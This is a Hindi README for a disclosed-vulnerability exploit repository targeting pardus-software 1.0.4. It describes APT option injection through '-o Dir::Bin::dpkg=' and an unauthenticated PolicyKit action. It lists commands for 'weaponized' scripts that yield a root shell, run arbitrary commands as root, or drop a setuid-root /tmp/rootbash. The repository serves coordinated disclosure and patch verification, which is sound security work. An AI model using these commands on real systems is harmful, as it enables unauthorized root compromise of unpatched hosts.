
Pardus Software Local Privilege Escalation PoC - संस्करण <= 1.0.4 तक प्रभावित
pardus-software पैकेज (Pardus Software Center) संस्करण 1.0.4 में दो स्थानीय विशेषाधिकार वृद्धि समस्याओं के लिए प्रूफ-ऑफ-कॉन्सेप्ट और एक्सप्लॉइट-रेडी कोड, दोनों 1.0.5 में ठीक किए गए हैं।
| CVE | वर्ग | सारांश | CVSS 3.1 (CERT-TR) |
|---|---|---|---|
| CVE-2026-14459 | CWE-88 — आर्गुमेंट इंजेक्शन | pardus-software समूह का एक सदस्य (कोई sudo नहीं, कोई पासवर्ड नहीं) विशेषाधिकार प्राप्त हेल्पर में APT विकल्प (-o Dir::Bin::dpkg=…) इंजेक्ट करता है और रूट के रूप में मनमाना कोड चलाता है। | 8.8 उच्च |
| CVE-2026-14460 | CWE-862 — लापता प्राधिकरण | autoaptupdateaction PolicyKit क्रिया allow_any=yes भेजती है, जिससे कोई भी स्थानीय उपयोगकर्ता बिना प्रमाणीकरण के रूट के रूप में अपडेट हेल्पर चला सकता है (स्थानीय DoS)। | 8.8 उच्च |
प्रभावित: pardus-software 1.0.4 · ठीक किया गया: pardus-software 1.0.5
विक्रेता: Pardus / TÜBİTAK BİLGEM · समन्वित प्रकटीकरण विक्रेता और USOM (CERT-TR) के माध्यम से।
यह कोड रक्षात्मक अनुसंधान, शिक्षा, और सार्वजनिक रूप से प्रकट की गई पैच की गई भेद्यता के सत्यापन के लिए प्रकाशित किया गया है। दोनों समस्याएं pardus-software 1.0.5 में ठीक कर दी गई हैं।
इसे केवल पृथक, डिस्पोजेबल वर्चुअल मशीनों पर चलाएं जो आपकी हैं या जिनके परीक्षण के लिए आप स्पष्ट रूप से अधिकृत हैं। इसे उन सिस्टमों पर न चलाएं जिन्हें आप नियंत्रित नहीं करते। सभी लागू कानूनों का पालन करना आपकी जिम्मेदारी है। लेखक दुरुपयोग के लिए कोई देयता स्वीकार नहीं करता है।
pardus-software-lpe/
├── README.md
├── poc/
│ └── poc.sh # मूल हानिरहित PoC (केवल प्रमाण; दोनों CVE)
└── exploit/
├── exploit-14459.sh # CVE-2026-14459 → इंटरैक्टिव रूट शेल
└── exploit-14460.sh # CVE-2026-14460 → बिना प्रमाणीकरण रूट apt-update (DoS)
एकल poc.sh दोनों निष्कर्षों को उपकमांड के माध्यम से कवर करता है:
poc/ संस्करण हानिरहित है: यह केवल /tmp/pardus_lpe_proof में id आउटपुट रिकॉर्ड करता है और प्रमाण के रूप में एक setuid-root /tmp/rootbash छोड़ता है। exploit/ संस्करण अधिकृत लक्ष्यों पर प्रदर्शन के लिए "मुझे एक रूट शेल दो" के बराबर हथियारबंद हैं।
poc.sh SHA256: 1d3f4c19affdb377ac5eee4c695619e9f6a4590350c3936678eb1db2cf601255
हानिरहित PoC में एक डिस्पोजेबल Pardus 25 VM पर pardus-software समूह में (बिना sudo) एक अविशेषाधिकार प्राप्त victim खाता बनाने के लिए एक हेल्पर शामिल है:
sudo ./poc/poc.sh setup-victim
sudo cp poc/poc.sh /home/victim/ && sudo chown victim /home/victim/poc.sh
# CVE-2026-14459 — विकल्प इंजेक्शन (प्राथमिक)
sudo su - victim -c 'cd ~ && ./poc.sh B'
# यदि 'hello' पहले से स्थापित/अनुपलब्ध है: ./poc.sh B sl
# CVE-2026-14459 — स्थानीय अहस्ताक्षरित .deb (द्वितीयक)
sudo su - victim -c 'cd ~ && ./poc.sh A'
# CVE-2026-14460 — बिना प्रमाणीकरण रूट apt update (कोई भी उपयोगकर्ता, कोई विशेष समूह नहीं)
sudo useradd -m -s /bin/bash nobody2
sudo cp poc/poc.sh /home/nobody2/ && sudo chown nobody2 /home/nobody2/poc.sh
sudo su - nobody2 -c 'cd ~ && ./poc.sh autoupdate'
अपेक्षित: कोई पासवर्ड प्रॉम्प्ट नहीं; आउटपुट uid=0(root) दिखाता है, /tmp/pardus_lpe_proof रूट के स्वामित्व में, और /tmp/rootbash -rwsr-xr-x root root (setuid root) के रूप में। B के लिए, APT अपना स्वयं का संकेत भी प्रिंट करता है कि इंजेक्टेड स्क्रिप्ट dpkg के स्थान पर चली:
चेतावनी: APT ने dpkg से अधिक रिपोर्ट करने की योजना बनाई थी जितना उसने वापस रिपोर्ट किया (0 बनाम 5)।
प्रभावित पैकेज: hello:amd64
इन्हें लक्ष्य अविशेषाधिकार प्राप्त उपयोगकर्ता के रूप में चलाएं (14459 के लिए, pardus-software का सदस्य)।
# CVE-2026-14459 → इंटरैक्टिव रूट शेल
./exploit/exploit-14459.sh
# शेल के बजाय रूट के रूप में एकल कमांड चलाएं:
./exploit/exploit-14459.sh -c "id > /root/pwned"
# यदि 'hello' स्थापित/अनुपलब्ध है, तो एक असंस्थापित पैकेज चुनें:
PKG=sl ./exploit/exploit-14459.sh
# CVE-2026-14460 → बिना प्रमाणीकरण रूट apt-update (स्थानीय DoS)
./exploit/exploit-14460.sh
# बार-बार आह्वान के साथ DoS सतह प्रदर्शित करें:
./exploit/exploit-14460.sh -n 20
पैच किए गए होस्ट (>= 1.0.5) पर दोनों स्क्रिप्ट साफ-साफ विफल हो जाती हैं और ऐसा कहती हैं।
CVE-2026-14459. Actions.py का install() अपने packages तर्क को रिक्त स्थान पर विभाजित करता है और टोकन को सीधे apt तर्क वेक्टर में जोड़ता है — कोई नाम सत्यापन नहीं, कोई -- विकल्प टर्मिनेटर नहीं। कोई भी टोकन जो APT विकल्प जैसा दिखता है, उसका सम्मान किया जाता है, जिसमें -o Dir::Bin::dpkg=<path> शामिल है, जो पैकेज-मैनेजर बैकएंड को एक हमलावर स्क्रिप्ट से बदल देता है जो फिर रूट के रूप में चलती है। remove/upgrade/reinstall/downgrade में भी यही पैटर्न मौजूद था।
CVE-2026-14460. autoaptupdateaction PolicyKit क्रिया को allow_any=yes के साथ घोषित किया गया था, जो बिना प्रमाणीकरण के किसी भी विषय को अधिकृत करता है। कोई भी स्थानीय उपयोगकर्ता AutoAptUpdate.py को रूट के रूप में आमंत्रित कर सकता है — एक स्थानीय DoS सतह।
पूर्ण तकनीकी लेख (EN + TR): (https://medium.com/@dasokkk/missing-authorization-in-pardus-software-center-any-local-user-can-run-apt-update-as-root-de4756d4c1a1)
pardus-software 1.0.5 में ठीक किया गया:
a6ff277 — apt क्रियाओं के लिए पैकेज-नाम सत्यापन (parse_packages() regex + -- विभाजक) (CVE-2026-14459)।70210af — autoaptupdateaction के लिए allow_any: yes → auth_admin (CVE-2026-14460)।यदि आप Pardus चलाते हैं, तो pardus-software 1.0.5 या बाद में अपग्रेड करें।
a6ff277 · 70210afअनुसंधान और समन्वित प्रकटीकरण केरम कान दासमाज़ द्वारा।
| उपकमांड | साबित करता है | नोट्स |
|---|
poc.sh B | CVE-2026-14459 | APT विकल्प इंजेक्शन (-o Dir::Bin::dpkg) — प्राथमिक निष्कर्ष |
poc.sh A | CVE-2026-14459 | उसी विश्वास पथ के माध्यम से स्थानीय अहस्ताक्षरित .deb (द्वितीयक प्रदर्शन) |
poc.sh autoupdate | CVE-2026-14460 | बिना प्रमाणीकरण रूट apt update |